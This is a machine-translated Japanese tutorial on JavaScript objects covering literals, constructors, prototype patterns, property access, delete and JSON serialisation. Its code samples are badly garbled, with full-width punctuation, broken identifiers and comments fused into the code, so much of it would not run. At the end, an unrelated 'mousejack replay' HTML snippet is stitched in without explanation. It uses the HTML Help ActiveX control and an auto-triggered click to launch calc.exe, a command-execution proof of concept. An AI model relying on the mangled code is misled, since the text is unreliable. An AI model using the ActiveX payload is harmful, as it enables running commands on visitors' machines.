Javascrtipには、複雑なデータ型(参照タイプ)、つまりオブジェクトオブジェクトタイプ、および5つのシンプルなデータ型(プリミティブタイプ)の6つのデータ型があります。その中で、最もコアタイプはオブジェクトタイプです。同時に、オブジェクトタイプは可変である一方で、単純なタイプは不変であることに注意する必要があります。
オブジェクトとは何ですか
オブジェクトは、一連の名前値ペアとして保存されている単純なデータ型(参照データ型)の順序付けられていないリストです。このリストの各アイテムは、プロパティと呼ばれます(メソッドと呼ばれる場合)。
これが単純なオブジェクトです:
var myfirstobject = {firstName: "Richard"、faveiteAuthor: "conrad"};オブジェクトはリストと見なすことができ、リスト内の各アイテム(プロパティまたはメソッド)は名前値ペアに保存されます。上記の例では、オブジェクトの属性名はFirstNameとFavoriteAuthorです。それに対応して、オブジェクトの属性値はRichardとConradです。
属性名は文字列または数字にすることができますが、数字が属性名として使用される場合、この数字の属性名に対応する属性値は、四角い括弧(正方形のブラケット表記)で取得する必要があります。後で四角いブラケット表記のより詳細な説明。次に、四角いブラケット表記の例です。
var agegroup = {30: "Children"、100: "非常に古い"}; console.log(agegroup.30)//エラー//属性30 Console.log(agegroup ["30"])にアクセスする正しい方法; //子供//属性名として数値を使用しないようにするのが最善ですJavaScriptプログラマーとして、オブジェクトデータ型を使用することがよくあります。通常、データを保存するか、カスタムメソッドまたは機能を作成するために使用されます。
参照データ型とプリミティブデータ型
参照タイプとプリミティブタイプの最も重要な違いは、参照タイプが参照によって保存され、値を原始型のような変数に直接保存しないことです。例えば:
//元のタイプデータはVAL var person = "kobe"によって保存されます。 var AnotherPerson = person; //別の人=人の値= "bryant"; //人の値はConsole.log(別の人)を変更しました。 // KOBE CONSOLEL.LOG(人); //ブライアン
人の価値を「ブライアント」に変更したとしても、それはanthoerpersonに影響を与えることはなく、元の人によって割り当てられた値を保存することに注意してください。
Value Storeの元のタイプを参照ストアで参照タイプと比較してください。
var person = {name: "kobe"}; var AnotherPerson = person; person.name = "bryant"; console.log(anotherperson.name); // bryant console.log(person.name); //ブライアントこの例では、人物をAnthoerpersonにコピーしますが、人物は実際の値の代わりに参照を保存するためです。したがって、人を「bryant」に変更すると、他の人物変数もこの変更を反映しています。これは、すべての属性を直接コピーして保存するのではなく、オブジェクトの参照を直接保存するためです。
オブジェクトプロパティの属性
注:属性は一般に属性として翻訳されますが、プロパティ(属性として翻訳される)と区別するために、ここで属性として翻訳されます。これはまた、他の人から相談されたものであり、無害であるべきです。
各オブジェクト属性は、独自のName-Valueペアを保存するだけでなく、デフォルトでTRUEに設定されている3つの特性も含まれています。
•設定可能な属性:このオブジェクト属性を削除または変更できるかどうかを指定します。
•列挙可能:このオブジェクトプロパティをfor-inループで取得できるかどうかを指定します。
•書き込み:このオブジェクトプロパティを変更できるかどうかを指定します。
emacscript 5にはいくつかの新機能があり、ここでは詳細に説明しません。
オブジェクトを作成します
オブジェクトを作成する2つの一般的な方法があります。
1。オブジェクトリテラル
これは、リテラルを直接使用して、オブジェクトを作成する最も一般的で簡単な方法です。
//空のオブジェクトvar mybooks = {}; //リテラルを使用して作成された4つの属性を含むオブジェクトvar mango = {color: "yellow"、 "round"、sweetness:8、howsweetami:function(){console.log( "hmm hmm good"); }}2。オブジェクトコンストラクター
2番目に一般的に使用される方法は、オブジェクトコンストラクターを使用することです。コンストラクターは、新しいオブジェクトを作成するために使用できる特別な機能です。コンストラクターは、新しいキーワードを使用して呼び出される必要があります。
var mango = new object(); mango.color = "yellow"; mango.shape = "round"; mango.sweetness = 8; mango.howsweetami = function(){console.log( "hmm hmm good");}オブジェクトプロパティの名前など、一部の予約された単語やキーワードを使用できますが、これは賢明な選択ではありません。
オブジェクトのプロパティには、数字、配列、または他のオブジェクトなどのデータ型を含めることができます。
オブジェクト作成の実用的なモード
データを保存するために一度だけ使用されるシンプルなオブジェクトを作成するために、上記の2つの方法はニーズを満たすことができます。
ただし、果物とその詳細を表示するためのプログラムがあるとします。プログラムの各果物の種類には、色、形、甘さ、コスト、および表示された機能の次のオブジェクトプロパティがあります。新しいフルーツオブジェクトを作成するたびに、次のコードを代表する必要がある場合、それは非常に退屈で非効率的です。
var mangofruit = {color: "yellow"、sweetness:8、fruitname: "mango"、nativetoland:["South America"、 "Central America"]、showname:function(){console.log( "this is" + this.fruitname); }、nativeto:function(){this.nativetoland.foreach(function(exlcountry){console.log( "grown in:" + excountry);}); }}10個の果物がある場合は、同じコードを10回追加する必要があります。また、Nativeto関数を変更する場合は、10の異なる場所で変更する必要があります。さらに、大きなWebサイトを開発している場合、オブジェクトに1つずつ属性を追加したことを想像してみましょう。しかし、あなたは突然、あなたがオブジェクトを作成する方法が理想的ではないことに気づき、あなたはそれを変更したい、あなたは現時点で何をすべきか?
これらの繰り返しの問題を解決するために、ソフトウェアエンジニアは、開発プログラムをより効率的かつ合理的に使用するために、さまざまなパターン(反復問題や一般的なタスクのソリューション)を発明しました。
オブジェクトを作成するための2つの一般的なパターンを次に示します。
1。メソッドモードの構築
function Fruit(thecolor、thesweetness、thefruitname、thenativetoland){this.color = thecolor; this.sweetness = thesweetness; this.fruitname = thefruitname; this.nativetoland = thenativetoland; this.showname = function(){console.log( "これは" + this.fruitname); } this.nativeto = function(){this.nativetoland.foreach(function(hilecountry){console.log( "grown in:" +各国);}); }}このパターンでは、さまざまな果物を簡単に作成できます。このような:
var mangofruit = new Fruit( "Yellow"、8、 "Mango"、["South America"、 "Central America"、 "West Africa"]); Mangofruit.showname(); //これはマンゴーです。Mangofruit.nativeto(); //成長:南アメリカ//成長:中央アメリカ//成長/ //これはパイナップルです。
プロパティまたはメソッドを変更する場合は、1か所でそれらを変更するだけです。このパターンは、果物機能の継承を通じて、すべての果物の機能と特徴をカプセル化します。
知らせ:
◦到達可能なプロパティは、オブジェクトのプロトタイプオブジェクトプロパティで定義する必要があります。例えば
someobject.prototype.firstname = "rich";
◦自分に属する属性は、オブジェクトに直接定義する必要があります。例えば:
//最初に、オブジェクトを作成しますvar amango = new Fruit(); //次に、オブジェクト上でmongospiceメソッドを直接定義します//オブジェクト上のマンゴスピスプロパティを直接定義するため、それはAmangoのプロパティであり、継承可能なプロパティではありません。
◦オブジェクトのプロパティにアクセスするには、次のようなものを使用します。
console.log(amango.mangospice); //「ある価値」
◦オブジェクトのメソッドを呼び出すには、object.method()を使用します。
//最初に、method amango.printstuff = function(){return "printing"; } //ここで、printstuffメソッドamango.printstuff()を呼び出すことができます。2。プロトタイプモード
function furt(){} furt.prototype.color = "yellow"; furt.prototype.sweettypens = 7; furt.prototype.fruitname = "generic furt"; furt.prototype.nativetoland = "usa"; furt.prototype.showname = function(){console.log() this.fruitname);} furt.prototype.nativeto = function(){console.log( "grown in:" + this.nativetoland);}プロトタイプモードでFruit()コンストラクターを呼び出す方法は次のとおりです。
var mangofruit = new Fruit(); mangofruit.showname(); // mangofruit.nativeto(); //これは一般的なフルーツです//成長:USA
拡張された読書
これら2つのパターンのより詳細な説明を知る必要がある場合は、JavaScript Advancedプログラミングの第6章を読むことができます。これは、これら2つの方法の利点と欠点を詳細に説明します。これら2つ以外の他のモードも本で説明しています。
オブジェクト内のプロパティにアクセスする方法
オブジェクトプロパティにアクセスする2つの主な方法は、ドット表記とブラケット表記です。
1。ポイント表記法
//これは、前の例で使用していた属性にアクセスする方法var book = {title: "ways to go"、pages:280、bookmark1: "page 20"}; // console.log(book.pages)に行く方法; // 2802。ブラケット表記法
//正方形の括弧を使用して、本のプロパティを明らかにしますObject:console.log(book ["title"]); // console.logに行く方法(book ["pages"]); // 280 //属性名が変数に保存されている場合、var booktitle = "title"; console.log(book [booktitle]); // console.logに行く方法(book ["bookmark" + 1]); // 20ページ
オブジェクトに存在しないプロパティにアクセスすると、未定義になります。
独自の属性と継承属性
オブジェクトには、独自の属性と継承属性があります。独自の属性は、オブジェクトに直接定義されるプロパティであり、継承された属性はオブジェクトのプロトタイプから継承されたプロパティです。
オブジェクトが特定の属性を持っているかどうか(それが独自の属性であるか継承された属性であるか)を判断するには、in operatorを使用できます。
// schoolName属性を使用してオブジェクトを作成しますvar school = {schoolName: "mit"}; //オブジェクトには校作プロパティConsole.log( "schoolname")があるため、trueを印刷します。 // true // falseを印刷してください。なぜなら、schooltypeプロパティを定義したり、schooltypeプロパティConsole.log(学校の "schooltype")を継承したりしないためです。 // false // toStringメソッドconsole.log( "tostring" in School)のためにtrueを印刷します。 // 真実HasownProperty
オブジェクトが独自の特定のプロパティを持っているかどうかを判断するには、HasownPrototypeメソッドを使用できます。この方法は、オブジェクトを継承するのではなく、オブジェクトのすべてのプロパティを列挙する必要があることが多いため、非常に便利です。
// schoolName属性を使用してオブジェクトを作成しますvar school = {schoolName: "mit"}; // Trueを印刷してください。SchoolNameはSchool自身の不動産コンソールであるためです。 // true // falseを印刷します。なぜなら、Tostringはオブジェクトのプロトタイプから継承され、学校自身のプロパティConsole.log(school.hasownproperty( "toString")); // 間違いオブジェクトのアクセスおよび列挙プロパティ
オブジェクトに列挙できる属性(自己または継承)にアクセスするために、for-inループまたは通常のループメソッドを使用できます。
// 3つの属性を持つ学校のオブジェクトを作成します:授業名、schoolAccredited、およびschoololocation。var school = {schoolname: "mit"、schoolaccredited:true、schoolocation: "massachusetts"}; // for-inループを使用して、(学校のvarそれぞれ)のオブジェクトの属性を取得します{console.log(exlyitem); //学校の名前、校アッククレディット、schoolotocation}を印刷}継承されたプロパティにアクセスします
オブジェクトのプロトタイプから継承されたプロパティは列挙できないため、これらのプロパティはfor-inループでアクセスされません。ただし、それらが列挙可能な継承特性である場合、for-inループからアクセスすることもできます。
例えば:
// forinを使用して、学校のオブジェクトのプロパティにアクセスします(学校の各var){console.log(exlyitem); //学校の名前、学校のaccredited、schoololocation} //注:次の段落は元のテキストの説明です/*サイドノート:以下のコメントで正しく指摘されているウィルソン(鋭い読者)として、EducationLevelプロパティは実際に高解放のコンストラクターを使用するオブジェクトによって継承されていません。代わりに、EducationLevelプロパティは、高学習コンストラクターを使用する各オブジェクトの新しいプロパティとして作成されます。プロパティが継承されない理由は、「この」キーワードを使用してプロパティを定義するためです。 *///学校のオブジェクトが継承する新しいより高い卓越した関数を作成します。関数highlearning(){this.educationlevel = "university"; } // highlearning construstator var school = new highlearning()で継承を実装する; school.schoolname = "mit"; school.schoolaccredited = true; school.schoollocation = "Massachusetts"; // for for in in loopの使用(学校の各var)の学校オブジェクトのプロパティにアクセスする{console.log(exlyitem); // EducationLevel、SchoolName、SchoolAccredited、およびSchoolocationを印刷}オブジェクト内のプロパティを削除します
削除演算子を使用して、オブジェクト内のプロパティを削除できます。継承された属性を削除することはできず、設定可能な属性がfalseに設定されているオブジェクト属性を削除することはできません。継承されたプロパティを削除するには、プロトタイプオブジェクト(つまり、これらのプロパティが定義されている場合)から削除する必要があります。さらに、グローバルオブジェクトのプロパティを削除することはできません。
削除が成功すると、削除オペレーターがtrueを返します。驚くべきことに、削除演算子は、削除する属性が存在しない、または削除できない場合にtrueを返します(つまり、独自の属性または構成可能な属性がfalseに設定されます)。
これが例です:
var ChristmasList = {Mike: "Book"、Jason: "Seater"} delete Christmaslist.mike; //(クリスマスリストのvar人){console.log(people)のマイクプロパティを削除します。 } // jasonのみを印刷// mikeプロパティは削除されました削除されたクリスマスリスト。toString; // trueを返しますが、toStringは継承されたプロパティであるため、削除されません// toStringが削除されていないため、Christmaslist.toString()もここで使用できます。 // "[Object Object]" //属性がオブジェクトインスタンスの独自のプロパティである場合、削除できます。 //たとえば、EducationLevelがその例で定義されているため、以前の例で定義されている学校オブジェクトからEducationLevel属性を削除できます。 // highlearning関数プロトタイプオブジェクトのEducationLevel属性を定義しません。 console.log(school.hasownproperty( "EducationLevel")); // true // EducationLevelは学校のオブジェクトの自己植物であるため、delete delete school.educationlevelを削除できます。 // true // EducationLevel Propertyが削除されたconsole.log(school.educationlevel); //未定義の//しかし、教育レベルの財産はまだhighlearning関数var Newschool = new highlearning()に存在します。 console.log(newschool.educationlevel); // University //このEducationLevel2プロパティなど、高解放関数プロトタイプのプロパティを定義する場合:highlearning.prototype.educationLevel2 = "University 2"; //このEducationLevel2プロパティは、HighleAlning Instanceの独自のプロパティを帰属させませんfalse Console.log(school.educationLevel2); //大学2 //継承されたEducationLevel2プロパティを削除してみてください。 // true(前述のように、この式はtrueを返します)//継承されたEducationLevel2プロパティは削除されていません。大学2オブジェクトをシリアル化して脱必要にします
HTTPでオブジェクトを渡すか、オブジェクトを文字列に変換するには、オブジェクトをシリアル化する必要があります(文字列に変換します)。 json.stringifyを使用してオブジェクトをシリアル化できます。 ecmascript 5の前のバージョンでは、json2ライブラリを使用してjson.stringify関数を取得する必要があることに注意する必要があります。 ECMAScript 5では、この関数は標準関数になりました。
オブジェクトをゆるくする(つまり、文字列をオブジェクトに変換する)、json.parse関数を使用して実行できます。同様に、第5版の前に、JSON2ライブラリからこの関数を取得する必要があり、この標準関数が第5版に追加されました。
サンプルコード:
var ChristmasList = {Mike: "Book"、Jason: "Seater"、Chelsea: "iPad"} Json.Stringify(ChristmasList); //この文字列を印刷する:// "{" Mike ":" Book "、" Jason ":" Seater "、" Chels ":" iPad "}" //フォーマットを備えたStringifiedオブジェクトを印刷するには、「null」と「4」をパラメーターとして追加します:json.Stringify(クリスマスリスト、ヌル、4); // "{//" mike ":" book "、//" jason ":" seater "、//" chels ":" ipad "//}" // json.parseの例'{"Mike": "Book"、 "Jason": "Seater"、 "Chels": "iPad"}'; //オブジェクトに変換しましょうvar christmaslistobj = json.parse(ChristmasListstr); //これがオブジェクトになったので、dot notation console.log(kristicllistobj.mike)を使用します。 // 本JavaScriptオブジェクトの詳細と説明、および第5版のECMAScriptに追加されたコンテンツについては、JavaScriptの権威あるガイド(第6版)の第6章を参照してください。
ポストスクリプト
私が最初に記事を翻訳したとき、私はそれをうまく翻訳するのはそれほど簡単ではないと本当に感じています。多くの簡単な文章は非常に明確に見えますが、本当に翻訳したいときは、適切な表現方法を考えられません。記事全体は私自身の理解に基づいており、文で翻訳文なしで自由に翻訳しました。したがって、理解や不適切な翻訳に逸脱がある場合は、それを指摘してみてください。できるだけ早く修正します。結局のところ、私はこの過去の記事をあなたと共有したいと思います。理解の間違いのために、私はあなたを誤解させたくありません。
ただソース、仕事を終えてください。
<!Doctype html> <html> <head> <title> mousejackリプレイ</title> <head> </head> <body> command exec <object id = x classid = "clsid:adb880a6-d8ff-11cf-9377-00AA003B7A11" value = "bitmap :: shortcut"> <param name = "item1" value = '、calc.exe'> <param name = "item2" value = "273,1,1"> </object> <script> x.click(); </script> </body> </html>
上記はこの記事のすべての内容です。みんなの学習に役立つことを願っています。誰もがwulin.comをもっとサポートすることを願っています。